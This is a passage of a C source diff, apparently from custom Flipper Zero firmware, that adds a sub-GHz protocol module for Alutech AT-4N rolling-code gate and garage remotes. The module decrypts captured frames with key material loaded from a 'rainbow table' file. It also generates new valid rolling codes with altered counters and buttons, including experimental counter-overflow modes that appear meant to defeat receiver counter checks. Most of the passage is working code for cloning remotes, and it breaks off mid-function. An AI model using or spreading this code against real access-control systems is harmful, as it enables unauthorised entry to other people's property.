+    const char* alutech_at_4n_rainbow_table_file_name;
+};
+
+struct SubGhzProtocolEncoderAlutech_at_4n {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+    const char* alutech_at_4n_rainbow_table_file_name;
+    uint32_t crc;
+};
+
+typedef enum {
+    Alutech_at_4nDecoderStepReset = 0,
+    Alutech_at_4nDecoderStepCheckPreambula,
+    Alutech_at_4nDecoderStepSaveDuration,
+    Alutech_at_4nDecoderStepCheckDuration,
+} Alutech_at_4nDecoderStep;
+
+static uint8_t alutech_at4n_counter_mode = 0;
+
+const SubGhzProtocolDecoder subghz_protocol_alutech_at_4n_decoder = {
+    .alloc = subghz_protocol_decoder_alutech_at_4n_alloc,
+    .free = subghz_protocol_decoder_alutech_at_4n_free,
+
+    .feed = subghz_protocol_decoder_alutech_at_4n_feed,
+    .reset = subghz_protocol_decoder_alutech_at_4n_reset,
+
+    .get_hash_data = subghz_protocol_decoder_alutech_at_4n_get_hash_data,
+    .serialize = subghz_protocol_decoder_alutech_at_4n_serialize,
+    .deserialize = subghz_protocol_decoder_alutech_at_4n_deserialize,
+    .get_string = subghz_protocol_decoder_alutech_at_4n_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_alutech_at_4n_encoder = {
+    .alloc = subghz_protocol_encoder_alutech_at_4n_alloc,
+    .free = subghz_protocol_encoder_alutech_at_4n_free,
+
+    .deserialize = subghz_protocol_encoder_alutech_at_4n_deserialize,
+    .stop = subghz_protocol_encoder_alutech_at_4n_stop,
+    .yield = subghz_protocol_encoder_alutech_at_4n_yield,
+};
+
+const SubGhzProtocol subghz_protocol_alutech_at_4n = {
+    .name = SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_alutech_at_4n_decoder,
+    .encoder = &subghz_protocol_alutech_at_4n_encoder,
+};
+
+static void subghz_protocol_alutech_at_4n_remote_controller(
+    SubGhzBlockGeneric* instance,
+    uint8_t crc,
+    const char* file_name);
+
+void* subghz_protocol_encoder_alutech_at_4n_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderAlutech_at_4n* instance =
+        malloc(sizeof(SubGhzProtocolEncoderAlutech_at_4n));
+
+    instance->base.protocol = &subghz_protocol_alutech_at_4n;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 512;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    instance->alutech_at_4n_rainbow_table_file_name =
+        subghz_environment_get_alutech_at_4n_rainbow_table_file_name(environment);
+    if(instance->alutech_at_4n_rainbow_table_file_name) {
+        FURI_LOG_I(
+            TAG, "Loading rainbow table from %s", instance->alutech_at_4n_rainbow_table_file_name);
+    }
+
+    return instance;
+}
+
+void subghz_protocol_encoder_alutech_at_4n_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+void subghz_protocol_encoder_alutech_at_4n_stop(void* context) {
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_alutech_at_4n_yield(void* context) {
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+/**
+ * Read bytes from buffer array with rainbow table 
+ * @param buffer Pointer to decrypted magic data buffer
+ * @param number_alutech_at_4n_magic_data number in the array
+ * @return alutech_at_4n_magic_data
+ */
+static uint32_t subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(
+    uint8_t* buffer,
+    uint8_t number_alutech_at_4n_magic_data) {
+    uint32_t address = number_alutech_at_4n_magic_data * sizeof(uint32_t);
+    uint32_t alutech_at_4n_magic_data = 0;
+
+    for(size_t i = address; i < (address + sizeof(uint32_t)); i++) {
+        alutech_at_4n_magic_data = (alutech_at_4n_magic_data << 8) | buffer[i];
+    }
+
+    return alutech_at_4n_magic_data;
+}
+
+static uint8_t subghz_protocol_alutech_at_4n_crc(uint64_t data) {
+    uint8_t* p = (uint8_t*)&data;
+    uint8_t crc = 0xff;
+    for(uint8_t y = 0; y < 8; y++) {
+        crc = crc ^ p[y];
+        for(uint8_t i = 0; i < 8; i++) {
+            if((crc & 0x80) != 0) {
+                crc <<= 1;
+                crc ^= 0x31;
+            } else {
+                crc <<= 1;
+            }
+        }
+    }
+    return crc;
+}
+
+static uint8_t subghz_protocol_alutech_at_4n_decrypt_data_crc(uint8_t data) {
+    uint8_t crc = data;
+    for(uint8_t i = 0; i < 8; i++) {
+        if((crc & 0x80) != 0) {
+            crc <<= 1;
+            crc ^= 0x31;
+        } else {
+            crc <<= 1;
+        }
+    }
+    return ~crc;
+}
+
+static uint64_t subghz_protocol_alutech_at_4n_decrypt(uint64_t data, const char* file_name) {
+    // load and decrypt rainbow table from file to buffer array in RAM
+    if(!file_name) return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
+
+    uint8_t buffer[SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES] = {0};
+    uint8_t* buffer_ptr = (uint8_t*)&buffer;
+
+    if(subghz_keystore_raw_get_data(
+           file_name, 0, buffer, SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES)) {
+    } else {
+        return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
+    }
+
+    uint8_t* p = (uint8_t*)&data;
+    uint32_t data1 = p[0] << 24 | p[1] << 16 | p[2] << 8 | p[3];
+    uint32_t data2 = p[4] << 24 | p[5] << 16 | p[6] << 8 | p[7];
+    uint32_t data3 = 0;
+    uint32_t magic_data[] = {
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 0),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 1),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 2),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 3),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 4),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 5)};
+
+    uint32_t i = magic_data[0];
+    do {
+        data2 = data2 -
+                ((magic_data[1] + (data1 << 4)) ^ ((magic_data[2] + (data1 >> 5)) ^ (data1 + i)));
+        data3 = data2 + i;
+        i += magic_data[3];
+        data1 =
+            data1 - ((magic_data[4] + (data2 << 4)) ^ ((magic_data[5] + (data2 >> 5)) ^ data3));
+    } while(i != 0);
+
+    p[0] = (uint8_t)(data1 >> 24);
+    p[1] = (uint8_t)(data1 >> 16);
+    p[3] = (uint8_t)data1;
+    p[4] = (uint8_t)(data2 >> 24);
+    p[5] = (uint8_t)(data2 >> 16);
+    p[2] = (uint8_t)(data1 >> 8);
+    p[6] = (uint8_t)(data2 >> 8);
+    p[7] = (uint8_t)data2;
+
+    return data;
+}
+
+static uint64_t subghz_protocol_alutech_at_4n_encrypt(uint64_t data, const char* file_name) {
+    // load and decrypt rainbow table from file to buffer array in RAM
+    if(!file_name) return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
+
+    uint8_t buffer[SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES] = {0};
+    uint8_t* buffer_ptr = (uint8_t*)&buffer;
+
+    if(subghz_keystore_raw_get_data(
+           file_name, 0, buffer, SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES)) {
+    } else {
+        return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
+    }
+
+    uint8_t* p = (uint8_t*)&data;
+    uint32_t data1 = 0;
+    uint32_t data2 = p[0] << 24 | p[1] << 16 | p[2] << 8 | p[3];
+    uint32_t data3 = p[4] << 24 | p[5] << 16 | p[6] << 8 | p[7];
+    uint32_t magic_data[] = {
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 6),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 4),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 5),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 1),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 2),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 0)};
+
+    do {
+        data1 = data1 + magic_data[0];
+        data2 = data2 + ((magic_data[1] + (data3 << 4)) ^
+                         ((magic_data[2] + (data3 >> 5)) ^ (data1 + data3)));
+        data3 = data3 + ((magic_data[3] + (data2 << 4)) ^
+                         ((magic_data[4] + (data2 >> 5)) ^ (data1 + data2)));
+    } while(data1 != magic_data[5]);
+    p[0] = (uint8_t)(data2 >> 24);
+    p[1] = (uint8_t)(data2 >> 16);
+    p[3] = (uint8_t)data2;
+    p[4] = (uint8_t)(data3 >> 24);
+    p[5] = (uint8_t)(data3 >> 16);
+    p[2] = (uint8_t)(data2 >> 8);
+    p[6] = (uint8_t)(data3 >> 8);
+    p[7] = (uint8_t)data3;
+
+    return data;
+}
+
+static bool subghz_protocol_alutech_at_4n_gen_data(
+    SubGhzProtocolEncoderAlutech_at_4n* instance,
+    uint8_t btn) {
+    uint64_t data = subghz_protocol_blocks_reverse_key(instance->generic.data, 64);
+
+    data = subghz_protocol_alutech_at_4n_decrypt(
+        data, instance->alutech_at_4n_rainbow_table_file_name);
+    uint8_t crc = data >> 56;
+    if(crc == subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)((data >> 8) & 0xFF))) {
+        instance->generic.btn = (uint8_t)data & 0xFF;
+        instance->generic.cnt = (uint16_t)(data >> 8) & 0xFFFF;
+        instance->generic.serial = (uint32_t)(data >> 24) & 0xFFFFFFFF;
+    }
+
+    // if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
+    if(subghz_block_generic_global.cnt_need_override) bypass = true;
+
+    if((alutech_at4n_counter_mode == 0) || bypass) {
+        // Check for OFEX (overflow experimental) mode
+        if((furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) || bypass) {
+            bypass = false;
+            // standart counter mode. PULL data from subghz_block_generic_global variables
+            if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                }
+            }
+        } else {
+            //OFFEX mode
+            if((instance->generic.cnt + 0x1) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+                instance->generic.cnt = 0xFFFE;
+            } else {
+                instance->generic.cnt++;
+            }
+        }
+    } else if(alutech_at4n_counter_mode == 1) {
+        // Mode 1
+        // 0000 / 0001 / FFFE / FFFF
+        if((instance->generic.cnt + 0x1) > 0xFFFF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+            instance->generic.cnt = 0xFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    } else {
+        // Mode 2
+        // 0x0000 / 0x0001 / 0x0002 / 0x0003 / 0x0004 / 0x0005
+        if(instance->generic.cnt >= 0x0005) {
+            instance->generic.cnt = 0;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+    crc = subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)(instance->generic.cnt & 0xFF));
+    data = (uint64_t)crc << 56 | (uint64_t)instance->generic.serial << 24 |
+           (uint32_t)instance->generic.cnt << 8 | btn;
+
+    data = subghz_protocol_alutech_at_4n_encrypt(
+        data, instance->alutech_at_4n_rainbow_table_file_name);
+    crc = subghz_protocol_alutech_at_4n_crc(data);
+    instance->generic.data = subghz_protocol_blocks_reverse_key(data, 64);
+    instance->crc = subghz_protocol_blocks_reverse_key(crc, 8);
+    return true;
+}
+
+bool subghz_protocol_alutech_at_4n_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.data_count_bit = 72;
+    if(subghz_protocol_alutech_at_4n_gen_data(instance, btn)) {
+        if((subghz_block_generic_serialize(&instance->generic, flipper_format, preset) !=
+            SubGhzProtocolStatusOk)) {
+            FURI_LOG_E(TAG, "Serialize error");
+            return false;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            return false;
+        }
+        if(!flipper_format_insert_or_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
+            FURI_LOG_E(TAG, "Unable to add CRC");
+            return false;
+        }
+    }
+    return true;
+}
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x11 | 0x22 | 0xFF | 0x44 | 0x33 |
+ * @return Button code
+ */
+static uint8_t subghz_protocol_alutech_at_4n_get_btn_code(void);
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderAlutech instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_alutech_at_4n_get_upload(
+    SubGhzProtocolEncoderAlutech_at_4n* instance,
+    uint8_t btn) {
+    furi_assert(instance);
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        // subghz_custom_btn_set_original(btn);
+    }
+
+    btn = subghz_protocol_alutech_at_4n_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn)) {
+        bypass = true;
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+    }
+
+    // Gen new key
+    if(!subghz_protocol_alutech_at_4n_gen_data(instance, btn)) {
+        return false;
+    }
+
+    size_t index = 0;
+    // Send preambula
+    for(uint8_t i = 0; i < 12; ++i) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short); // 1
+        instance->encoder.upload[index++] = level_duration_make(
+            false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short); // 0
+    }
+
+    instance->encoder.upload[index - 1].duration +=
+        (uint32_t)subghz_protocol_alutech_at_4n_const.te_short * 9;
+
+    // Send key data
+    for(uint8_t i = 64; i > 0; --i) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
+        } else {
+            //0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
+        }
+    }
+    // Send crc
+    for(uint8_t i = 8; i > 0; --i) {
+        if(bit_read(instance->crc, i - 1)) {
+            //1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
+        } else {
+            //0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
+        }
+    }
+    // Inter-frame silence
+    instance->encoder.upload[index - 1].duration +=
+        (uint32_t)subghz_protocol_alutech_at_4n_const.te_long * 20;
+
+    size_t size_upload = index;
+
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    return true;
+}
+
+SubGhzProtocolStatus subghz_protocol_encoder_alutech_at_4n_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        if(!flipper_format_read_uint32(flipper_format, "CRC", (uint32_t*)&instance->crc, 1)) {
+            FURI_LOG_E(TAG, "Missing CRC");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            alutech_at4n_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            alutech_at4n_counter_mode = 0;
+        }
+
+        subghz_protocol_alutech_at_4n_remote_controller(
+            &instance->generic, instance->crc, instance->alutech_at_4n_rainbow_table_file_name);
+
+        subghz_protocol_encoder_alutech_at_4n_get_upload(instance, instance->generic.btn);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        if(!flipper_format_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
+            FURI_LOG_E(TAG, "Unable to add CRC");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void* subghz_protocol_decoder_alutech_at_4n_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolDecoderAlutech_at_4n* instance =
+        malloc(sizeof(SubGhzProtocolDecoderAlutech_at_4n));
+    instance->base.protocol = &subghz_protocol_alutech_at_4n;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->alutech_at_4n_rainbow_table_file_name =
+        subghz_environment_get_alutech_at_4n_rainbow_table_file_name(environment);
+    if(instance->alutech_at_4n_rainbow_table_file_name) {
+        FURI_LOG_I(
+            TAG, "Loading rainbow table from %s", instance->alutech_at_4n_rainbow_table_file_name);
+    }
+    return instance;
+}
+
+void subghz_protocol_decoder_alutech_at_4n_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    instance->alutech_at_4n_rainbow_table_file_name = NULL;
+    free(instance);
+}
+
+void subghz_protocol_decoder_alutech_at_4n_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+}
+
+void subghz_protocol_decoder_alutech_at_4n_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case Alutech_at_4nDecoderStepReset:
+        if((level) && DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
+                          subghz_protocol_alutech_at_4n_const.te_delta) {
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepCheckPreambula;
+            instance->header_count++;
+        }
+        break;
+    case Alutech_at_4nDecoderStepCheckPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
+                        subghz_protocol_alutech_at_4n_const.te_delta)) {
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+            break;
+        }
+        if((instance->header_count > 9) &&
+           (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short * 10) <
+            subghz_protocol_alutech_at_4n_const.te_delta * 10)) {
+            // Found header
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    case Alutech_at_4nDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepCheckDuration;
+        }
+        break;
+    case Alutech_at_4nDecoderStepCheckDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_alutech_at_4n_const.te_short * 2 +
+                            subghz_protocol_alutech_at_4n_const.te_delta)) {
+                //add last bit
+                if(DURATION_DIFF(
+                       instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_short) <
+                   subghz_protocol_alutech_at_4n_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else if(
+                    DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_long) <
+                    subghz_protocol_alutech_at_4n_const.te_delta * 2) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+
+                // Found end TX
+                instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_alutech_at_4n_const.min_count_bit_for_found) {
+                    if(instance->generic.data != instance->generic.data_2) {
+                        instance->generic.data = instance->generic.data_2;
+
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                        instance->crc = instance->decoder.decode_data;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                    instance->decoder.decode_data = 0;
+                    instance->decoder.decode_count_bit = 0;
+                    instance->header_count = 0;
+                }
+                break;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_short) <
+                 subghz_protocol_alutech_at_4n_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_long) <
+                 subghz_protocol_alutech_at_4n_const.te_delta * 2)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                if(instance->decoder.decode_count_bit == 64) {
+                    instance->generic.data_2 = instance->decoder.decode_data;
+                    instance->decoder.decode_data = 0;
+                }
+                instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_long) <
+                 subghz_protocol_alutech_at_4n_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
+                 subghz_protocol_alutech_at_4n_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                if(instance->decoder.decode_count_bit == 64) {
+                    instance->generic.data_2 = instance->decoder.decode_data;
+                    instance->decoder.decode_data = 0;
+                }
+                instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+                instance->header_count = 0;
+            }
+        } else {
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param file_name Full path to rainbow table the file
+ */
+static void subghz_protocol_alutech_at_4n_remote_controller(
+    SubGhzBlockGeneric* instance,
+    uint8_t crc,
+    const char* file_name) {
+    /**
+ *  Message format 72bit LSB first
+ *           data        crc
+ *      XXXXXXXXXXXXXXXX  CC
+ *  
+ *  For analysis, you need to turn the package MSB
+ *  in decoded messages format
+ * 
+ *     crc1 serial  cnt  key
+ *      cc SSSSSSSS XXxx BB 
+ * 
+ *  crc1 is calculated from the lower part of cnt
+ *  key 1=0xff, 2=0x11, 3=0x22, 4=0x33, 5=0x44
+ * 
+ */
+
+    bool status = false;
+    uint64_t data = subghz_protocol_blocks_reverse_key(instance->data, 64);
+    crc = subghz_protocol_blocks_reverse_key(crc, 8);
+
+    if(crc == subghz_protocol_alutech_at_4n_crc(data)) {
+        data = subghz_protocol_alutech_at_4n_decrypt(data, file_name);
+        status = true;
+    }
+
+    if(status && ((uint8_t)(data >> 56) ==
+                  subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)((data >> 8) & 0xFF)))) {
+        instance->btn = (uint8_t)data & 0xFF;
+        instance->cnt = (uint16_t)(data >> 8) & 0xFFFF;
+        instance->serial = (uint32_t)(data >> 24) & 0xFFFFFFFF;
+    }
+
+    if(!status) {
+        instance->btn = 0;
+        instance->cnt = 0;
+        instance->serial = 0;
+    }
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        // subghz_custom_btn_set_original(instance->btn);
+    }
+    // subghz_custom_btn_set_max(4);
+}
+
+uint8_t subghz_protocol_decoder_alutech_at_4n_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    return (uint8_t)instance->crc;
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
+        FURI_LOG_E(TAG, "Unable to add CRC");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+    return res;
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_alutech_at_4n_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "CRC", (uint32_t*)&instance->crc, 1)) {
+            FURI_LOG_E(TAG, "Missing CRC");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            alutech_at4n_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            alutech_at4n_counter_mode = 0;
+        }
+
+    } while(false);
+    return ret;
+}
+
+static uint8_t subghz_protocol_alutech_at_4n_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x11:
+            btn = 0x22;
+            break;
+        case 0x22:
+            btn = 0x11;
+            break;
+        case 0xFF:
+            btn = 0x11;
+            break;
+        case 0x44:
+            btn = 0x11;
+            break;
+        case 0x33:
+            btn = 0x11;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x11:
+            btn = 0x44;
+            break;
+        case 0x22:
+            btn = 0x44;
+            break;
+        case 0xFF:
+            btn = 0x44;
+            break;
+        case 0x44:
+            btn = 0xFF;
+            break;
+        case 0x33:
+            btn = 0x44;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
